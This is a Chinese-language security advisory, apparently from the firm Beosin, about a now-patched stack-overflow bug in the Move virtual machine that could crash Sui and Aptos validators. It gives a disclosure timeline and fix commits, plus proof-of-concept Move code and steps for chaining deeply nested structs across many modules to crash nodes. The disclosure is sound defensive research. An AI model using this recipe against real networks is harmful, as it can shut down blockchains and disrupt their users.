Beosin 安全研究團隊發現了一個遞迴呼叫導致的棧溢位漏洞,這個漏洞可以導致整個網路崩潰,還會導致新的 validator 無法加入到網路中,甚至可能會導致硬分叉。目前 Suimainnet _v1.2.1、Aptosmainnet_v1.4.3、Move 語言 2023 年 6 月 10 日之後的版本修復了此漏洞。
(前情提要:SUI 遭爆3月秘密修復「十億美元安全漏洞」,可讓駭客閃電貸攻擊..)
(背景補充:安全公司Numen:Aptos虛擬機存在高危險漏洞,恐癱瘓節點(現已修復))
Move 是一個新的區塊鏈語言,被 Aptos、Sui 等公鏈使用。近期我們 Beosin 安全研究團隊發現了一個遞迴呼叫導致的棧溢位漏洞,這個漏洞可以導致整個網路崩潰(total network shutdown),還會導致新的 validator 無法加入到網路中,甚至可能會導致硬分叉!
我們在發現並驗證這個漏洞後,第一時間( 2023 年 5 月 30 日)通過郵件與 Sui 團隊取得聯絡,隨後在他們的建議下,將漏洞提交到了 Immunefi 漏洞賞金平臺( 2023 年 6 月 2 日)。
不過在我們提交漏洞之後,官方團隊回覆稱他們於一個月前內部發現了該問題,並在祕密進行安全修復,並於我們提交 immunefi 的當天釋出了修復版本( 2023 年 6 月 2 日)。我們理解並尊重他們的回覆。
當前版本該漏洞已修復,所以我們現在公開我們的研究發現。作為區塊鏈安全行業的領先者,我們持續關注區塊鏈生態的安全。
延伸閱讀:SUI 遭爆3月秘密修復「十億美元安全漏洞」,可讓駭客閃電貸攻擊..
知識前提
Move 虛擬機器是由 Rust 語言編寫實現。Move 程式碼組織(和分發)的主要單位是 Package。Package 由一組 module 組成,這些 module 定義在單獨的檔案中,副檔名為 .move。這些檔案包括 Move 函式和型別定義。
最小包源目錄結構如下所示,包含清單檔案、鎖定檔案和一個或多個模組檔案所在的 sources 子目錄:
Package 可以被 Publish 到區塊鏈上。一個 Package 可以包含多個 Module,一個 Module 可以包含多個函式、結構體。
函式的引數可以是結構體,結構體可以內嵌其他結構體,如下所示:
在 Rust 程式語言裡面,遞迴函式呼叫的時候,如果沒有限制呼叫深度,會導致棧溢位或者 cpu、記憶體等資源的耗盡。Move 虛擬機器正是由 Rust 語言編寫。
漏洞描述
在 Move 虛擬機器裡面,為了處理各種結構化資料(比如序列化資料、結構體巢狀、陣列巢狀、泛型巢狀),經常會用到遞迴函式。為了防止由於遞迴呼叫導致的棧溢位,需要對遞迴呼叫的深度進行檢查。如下所示:
上面的圖片是 Move 虛擬機器限制簡單和複雜型別結構的解析深度
上面的圖片是 Move 虛擬機器對位元組碼裡面 SIGNATURE_TOKEN 深度的限制。
儘管 Move 虛擬機器在很多地方都有遞迴呼叫深度檢查,但是它仍然有某些情況沒有考慮到。
我們現在考慮一種攻擊方式:定義一個 struct A,然後 A 巢狀 struct B,然後 B 巢狀 struct C…. 這樣一直巢狀下去,如果 Move 虛擬機器是用一個遞迴函式來處理這種巢狀關係,那麼 Move 虛擬機器會因為棧溢位或者資源不足而崩潰。儘管 Move 對每個 module 可以定義的 struct 數量有限制,但是我們可以建立無數個 module。
這樣我們就有了攻擊思路:
1、生成 25 個(完全可以比 25 多)package,每個 package 包含 1 個 module
2、每個 module 裡面定義 64 個(Aptos 裡面可以比 64 多)有鏈式巢狀關係的 struct,每個 module 裡的第一個 struct,巢狀上一個 module 裡面的最後一個 struct。
3、每個 module 裡面包含一個可呼叫的 entry 函式。這個函式接受一個引數,這個引數型別是上一個 module 的最後一個 struct(第 64 個 struct)。這個函式建立並返回本 module 的最後一個 struct 例項(第 64 個 struct)
4、按照順序 publish 每個 package
5、按照順序呼叫每個 module 裡面的 entry 函式
針對 Sui mainnet_v1.1.1_,我們測試後發現如下現象(我們的測試環境有 4 個 validator):
1、執行一次 poc 之後,4 個 validator 會因為棧溢位馬上崩潰
2、至少 3 個 validator 崩潰重啟後,所有的 fullnode 會崩潰
3、至少 3 個 validator 崩潰重啟後,新的 validator 加入時會崩潰至少 1 次
4、至少 3 個 validator 崩潰重啟後,新的 fullnode 加入時有時候會崩潰 1 次
5、如果運氣好的話,某些 validator、fullnode 崩潰後無法重啟,只有刪除本地所有資料庫,才能重啟
針對 Sui mainnet_v1.2.0,我們測試後發現如下現象(我們的測試環境有 4 個 validator):
1、執行一次 poc 之後,至少有 1 個 validator 會因為棧溢位或者 out of memory 而崩潰;
2、再次執行一次 poc,可以讓第 2 個 validator 崩潰。然後整個網路無法接受新的交易;
3、崩潰後的 validator 有可能無法重啟。刪除這個 validator 的所有本地資料庫,然後執行它,它會在一段時間後崩潰,而且再也無法重啟;
4、新的 validator 加入網路的時候,會崩潰。
我們簡單測試了 Aptos,發現 Aptos 也會崩潰:
PoC
Sui 鏈的 PoC
module hello_world_2::hello{
use std::string;
use sui::object::{Self, UID};
use sui::transfer;
use sui::tx_context::{Self, TxContext};
struct T_0 has key,store{
id : UID,
m : hello_world_1::hello::T_63
}
struct T_1 has key,store{
id : UID,
m : T_0
}
........other not printed.........
struct T_62 has key,store{
id : UID,
m : T_61
}
struct T_63 has key,store{
id : UID,
m : T_62
}
public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) {
let object = T_63{
id: object::new(ctx),
m : T_62{
id: object::new(ctx),
m : T_61{
id: object::new(ctx),
........other not printed.........
m : T_1{
id: object::new(ctx),
m : T_0{
id: object::new(ctx),
m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
transfer::transfer(object, tx_context::sender(ctx));
}
}
每創建一個這樣的 module,就 Publish 到 Sui 鏈上,並調用 mint 函數,獲取它創建的 “object”,同時將 “object” 作為參數傳遞給下一個 module 的 mint 函數,直到 Sui 節點崩潰
Aptos 鏈的 PoC
module Test2::test_module2{
struct Struct0 has key,store,drop {
m : Test1::test_module1::Struct200
}
struct Struct1 has key,store,drop{
m : Struct0
}
........other not printed.........
struct Struct199 has key,store,drop{
m : Struct198
}
struct Struct200 has key,store,drop{
m : Struct199
}
public entry fun mint(_account : signer){
let previous0 = 5554444;
let previous1 = Test0::test_module0::test_function(previous0);
let previous2 = Test1::test_module1::test_function(previous1);
let _current = test_function(previous2);
}
public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{
let object = Struct200{
m:Struct199{
........other not printed.........
m:Struct1{
m:Struct0{
m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
object
}
}
每創建一個這樣的 module,就 Publish 到 Aptos 鏈上,並調用 mint 函數,直到 Aptos 節點崩潰。
漏洞修復
Sui mainnet_v1.2.1(2023 年 6 月 2 號)、Aptos mainnet_v1.4.3(2023 年 6 月 3 號)、Move 語言 2023 年 6 月 10 日之後的版本修復了此漏洞。
Sui 更新程式碼:
https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b
更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是”check_depth_of_type”。
Aptos 更新程式碼:
https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e35d986963
和 Sui 一樣,更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是」check_depth_of_type」。
Move 語言更新程式碼:
https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2
和 Sui、Aptos 一樣,更新程式碼在建立 struct、vec、generic 的地方,對型別引用深度作了限制。增加的關鍵函式是 “check_depth_of_type”。
漏洞影響
這個漏洞利用非常簡單,而且一次攻擊消耗的 gas 也非常小。但是該漏洞的影響非常大,可以導致整個網路崩潰(total network shutdown),還會讓新的 validator 無法加入到網路中,甚至可能導致硬分叉(hard fork)。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3 以前的版本都受此漏洞影響。
為什麼這個漏洞有可能會導致硬分叉?
1、惡意攻擊者可以建立任意深度的結構體巢狀關係,並將這些惡意 struct 部署到鏈上。然後針對這些結構體傳送一些不可改變的惡意交易,雖然這個過程中可能會導致網路崩潰,但是部分惡意交易還是會被已經被部署到鏈上了。
2、為了修補這個漏洞,我們可以限制遞迴呼叫的深度。但是這樣我們就再也無法引用已經部署到區塊鏈上的的惡意結構體,也無法在虛擬機器裡面驗證與惡意 struct 相關的歷史交易。只有硬分叉才能解決這種問題。
3、由於導致硬分叉的測試對現行網路影響過於嚴重,我們放棄了該測試,但理論上我們認為可行。
總結
一個小小的遞迴函式呼叫,就導致棧溢位,而棧溢位又導致整個網路崩潰(total network shutdown),再利用一些攻擊手段,很可能使區塊鏈產生硬分叉。所以,區塊鏈的安全是永遠排在第一位的。我們建議專案方要多注意這種型別的漏洞,最好是找專業的區塊鏈安全機構進行全面的審計。
Beosin 作為一家全球領先的區塊鏈安全公司,在全球 10 多個國家和地區設立了分部,業務涵蓋專案上線前的程式碼安全審計、專案執行時的安全風險監控、預警與阻斷、虛擬貨幣被盜資產追回、安全合規 KYT/AML 等 「一站式」 區塊鏈安全產品 + 服務,目前已為全球 3000 多個區塊鏈企業提供安全技術服務,審計智慧合約超過 3000 份,同時,Beosin 也提供上幣專案的安全評估以及提供符合各地監管要求的合規評估、VaaS 自動化上幣審計服務、交易所滲透服務、交易所安全建設諮詢服務等安全解決方案。歡迎點選公眾號留言框,與我們聯絡。
📍相關報導📍
Telegram傳安全漏洞!工程師爆:官方強制接管用戶帳號,鑄造成TON NFT牟利